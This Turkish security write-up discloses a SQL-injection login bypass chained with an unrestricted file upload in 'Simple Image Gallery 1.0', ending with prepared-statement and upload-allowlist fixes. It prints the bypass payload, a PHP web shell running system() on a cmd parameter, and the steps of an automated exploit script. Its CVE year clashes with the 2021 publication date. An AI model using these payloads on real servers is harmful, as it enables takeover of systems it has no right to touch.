CVE-2025-69460 – Simple Image Gallery 1.0 - Remote Code Execution (Unauthenticated)
Wed Jan 21 2026 · 3 min read
Category: Security Research
Giriş
Bu raporda, "Simple Image Gallery 1.0" uygulamasında kritik bir Uzaktan Kod Yürütme (RCE) zafiyetinin nasıl keşfedildiğini ve istismar edildiğini detaylandıracağım. Bir güvenlik araştırmacısı olarak amacım, kimlik doğrulaması gerektirmeyen bir saldırı vektörü üzerinden sunucuda tam kontrol sağlamaktı. Saldırı zinciri iki temel zafiyetten oluşmaktadır: Kimlik doğrulamayı atlamak için SQL Enjeksiyonu ve keyfi kod yürütmek için Kısıtlanmamış Dosya Yükleme.
Zafiyet Analizi
Aşama 1: Kimlik Doğrulama Atlatma (SQL Enjeksiyonu)
İlk hedefim, uygulamanın giriş mekanizmasıydı. classes/Login.php dosyasını incelediğimde, kullanıcı girişlerinin veritabanı sorgusuna doğrudan dahil edildiğini fark ettim.
// classes/Login.php içindeki Zafiyetli Kod
$qry = $this->conn->query("SELECT * from users where username = '$username' and password = md5('$password') ");
Görüldüğü üzere, $username değişkeni herhangi bir temizleme işleminden geçirilmeden SQL sorgusuna eklenmektedir. Bu durum, saldırganın sorgu mantığını manipüle etmesine olanak tanır.
Kullanılan Yük (Payload): admin' or '1'='1'#
Bu yük kullanıldığında sorgu şu hale dönüşür:
SELECT * from users where username = 'admin' or '1'='1'#' and password = md5('...')
# karakteri sorgunun geri kalanını (şifre kontrolünü) devre dışı bırakır ve 1=1 koşulu her zaman doğru olduğu için veritabanı ilk kullanıcıyı (genellikle yönetici) döndürür. Böylece şifreye ihtiyaç duymadan sisteme giriş yapılmış olur.
Aşama 2: Uzaktan Kod Yürütme (Kısıtlanmamış Dosya Yükleme)
Yönetici erişimi sağladıktan sonra, dosya yükleme fonksiyonlarını inceledim. Kullanıcı profilini güncelleme işlemi sırasında (classes/Users.php), yüklenen dosyaların yeterince kontrol edilmediğini tespit ettim.
// classes/Users.php içindeki Zafiyetli Kod
if(isset($_FILES['img']) && $_FILES['img']['tmp_name'] != ''){
$fname = 'uploads/'.strtotime(date('y-m-d H:i')).'_'.$_FILES['img']['name'];
$move = move_uploaded_file($_FILES['img']['tmp_name'],'../'. $fname);
// ...
}
Buradaki güvenlik açıkları şunlardır:
- Uzantı Kontrolü Yok: Kod, dosya adını (
$_FILES['img']['name']) doğrudan kullanır ve uzantının güvenli olup olmadığını (örneğin sadece.jpgveya.png) kontrol etmez. - İçerik Kontrolü Yok: Dosyanın içeriği veya MIME türü doğrulanmaz.
- Çalıştırılabilir Dosya:
.phpuzantılı bir dosya yüklendiğinde, sunucu bunu bir PHP betiği olarak kabul eder ve çalıştırır.
Bu zafiyet, saldırganın sunucuya kötü amaçlı bir PHP dosyası (web shell) yüklemesine ve bu dosyayı tarayıcı üzerinden çağırarak komut çalıştırmasına olanak tanır.
Exploit Geliştirme
Bu saldırı zincirini otomatize etmek için bir Python betiği (exploit.py) geliştirdim. Betiğin çalışma mantığı şu şekildedir:
- Oturum Başlatma:
requests.session()kullanılarak HTTP oturumu başlatılır. - Giriş Atlatma:
classes/Login.php?f=loginadresine SQL enjeksiyon yükü (admin' or '1'='1'#) gönderilir. Başarılı yanıt alındığında oturum açılmış olur. - Kullanıcı Bilgilerini Koruma: Profil güncelleme işlemi tüm alanları değiştirdiği için, önce mevcut kullanıcı bilgileri (ID, Ad, Soyad, Kullanıcı Adı)
?page=usersayfasından çekilir (scrape edilir). Bu adım, mevcut verilerin bozulmasını önlemek için önemlidir. - Shell Yükleme:
classes/Users.php?f=saveadresinemultipart/form-dataisteği gönderilir.- Çekilen kullanıcı bilgileri form verisi olarak eklenir.
imgalanına, içinde PHP kodu bulunan ve.phpuzantılı rastgele isimlendirilmiş bir dosya eklenir.- Payload:
<?php if(isset($_GET['cmd'])){ echo '<pre>'; $cmd = ($_GET['cmd']); system($cmd); echo '</pre>'; die; } ?>
- Çalıştırma: Yükleme işleminden sonra profil sayfası tekrar kontrol edilerek yüklenen dosyanın yolu (
srcözniteliği) bulunur. Son olarak, bu yola?cmd=whoamiparametresi eklenerek komut çalıştırma testi yapılır.
Çözüm ve Kapatma
Bu zafiyetlerin giderilmesi için aşağıdaki adımlar uygulanmalıdır:
1. SQL Enjeksiyonunu Önleme:
Veritabanı sorgularında dize birleştirme yerine Hazırlanmış İfadeler (Prepared Statements) kullanılmalıdır.
Güvenli Örnek:
$stmt = $this->conn->prepare("SELECT * from users where username = ? and password = md5(?)");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
2. Dosya Yükleme Güvenliği:
Yüklenen dosyaların uzantıları ve türleri sıkı bir şekilde kontrol edilmelidir. Dosya isimleri kullanıcıdan alınmamalı, sunucu tarafından rastgele oluşturulmalıdır.
Güvenli Örnek:
$allowed = array('jpg', 'jpeg', 'png', 'gif');
$ext = pathinfo($_FILES['img']['name'], PATHINFO_EXTENSION);
if(!in_array(strtolower($ext), $allowed)) {
exit("Invalid file type");
}
$fname = 'uploads/' . uniqid() . '.' . $ext;
CVE ID: CVE-2025-69460
İlk Yayın Tarihi: 17 Ağustos 2021
Araştırmacı: Tağmaç "Tagoletta"
Canonical reference: https://www.exploit-db.com/exploits/50214
Github Repository: https://github.com/Tagoletta/CVE-2025-69460
Sıkça Sorulan Sorular
CVE-2025-69460 nedir?
Simple Image Gallery 1.0 üzerinde, kimlik doğrulaması gerektirmeyen, Tağmaç 'Tagoletta' tarafından keşfedilmiş bir zero-day Uzaktan Kod Yürütme zafiyetidir.
CVE-2025-69460'ın kök nedeni nedir?
Kısıtlanmamış bir dosya yükleme; saldırganın PHP gibi çalıştırılabilir bir betik yüklemesine imkan verir ve sunucu bunu çalıştırarak kimlik doğrulamasız komut çalıştırma sağlar.
Bir saldırgan bunu nasıl sömürür?
Tür kontrollerini atlatan, özel hazırlanmış bir görsel/betik dosyası yükleyip ardından URL'sini isteyerek sunucu tarafı kod çalıştırmayı tetikleyerek.
CVE-2025-69460 nasıl giderilir?
Dosya türünü içeriğe göre doğrulayın, yüklemeleri web kökü dışında saklayın, dosyaları yeniden adlandırıp çalıştırma izinlerini kaldırın ve yükleme dizininde betik çalıştırmayı devre dışı bırakın.
CVE-2025-69460 için PoC exploit writeup'ı nerede?
Tam proof-of-concept exploit kodu ve adım adım writeup bu sitede yayınlanmıştır — kısıtlanmamış dosya yükleme üzerinden webshell yükleyip RCE elde eden, çalışmaya hazır PoC için eşlik eden exploit sayfasına bakın.